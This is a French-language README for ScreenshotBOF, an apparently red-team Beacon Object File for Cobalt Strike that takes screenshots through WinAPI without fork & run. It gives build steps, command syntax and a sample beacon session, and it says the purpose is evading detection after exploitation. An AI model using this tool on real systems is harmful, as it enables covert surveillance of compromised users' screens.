ScreenshotBOF

Une alternative pour la capture d'écran dans Cobalt Strike utilisant WinAPI sans fork & run. Capture téléchargée en mémoire.

Fonctionnalités

• Compression JPEG
• Téléchargement en mémoire en tant que capture d'écran ou fichier
• Prend en charge la capture des fenêtres minimisées
• Niveaux de gris, qualité JPEG et réduction d'échelle pour réduire la taille du fichier

Compilation

1. git clone le dépôt
2. exécutez make

Méthodes de sauvegarde :

0. déposer le fichier sur le disque
1. télécharger le fichier via beacon (Cobalt Strike uniquement)
2. télécharger le fichier via beacon en tant que capture d'écran (Cobalt Strike uniquement)

PID

0 : capturer tout l'écran (PID = 0) PID spécifique : capturer un PID spécifique (fonctionne même en mode minimisé !)

Utilisation

1. importez le script screenshotBOF.cna dans Cobalt Strike
2. utilisez la commande screenshot_bof {nom_fichier_local} {méthode_sauvegarde 0/1/2} {pid/0} {niveaux_gris 0/1} {qualité 0-100} {échelle 0-100}
   • exécuter screenshot_bof sans argument affichera une boîte de dialogue graphique

beacon> screenshot_bof file.jpg 2 21964 0 90 100
[*] Running screenshot BOF by (@codex_tf2)
[+] host called home, sent: 12421 bytes
[+] received output:
Downloading JPEG over beacon as a screenshot with filename file.jpg
[*] received screenshot of Screenshot from Admin (26kb)
[+] received output:
Screenshot saved/downloaded successfully

Remarques

• aucune évasion n'est effectuée, ce qui devrait être acceptable car les API Win utilisées ne sont pas malveillantes

Pourquoi ai-je créé cela ?

Cobalt Strike utilise une technique appelée fork & run pour plusieurs de ses capacités post-exploitation, y compris la commande screenshot. Bien que ce comportement offre de la stabilité, il est désormais bien connu et fortement surveillé. Ce BOF vise à fournir une version plus sûre du point de vue OPSEC de la fonctionnalité de capture d'écran.

Crédits

• Sauvegarde BMP en fichier depuis https://stackoverflow.com/a/60667564
• téléchargement en mémoire depuis https://github.com/anthemtotheego/CredBandit
• @BinaryFaultline pour le rendu BMP (obsolète) dans l'aggressor script, et la fonction de rappel screenshot
• bitmap vers jpeg depuis https://github.com/WKL-Sec/HiddenDesktop

Avertissement

Avertissement habituel : je ne suis pas responsable des crimes contre l'humanité que vous pourriez commettre ou de la guerre nucléaire que vous pourriez provoquer en utilisant ce morceau de code mal écrit.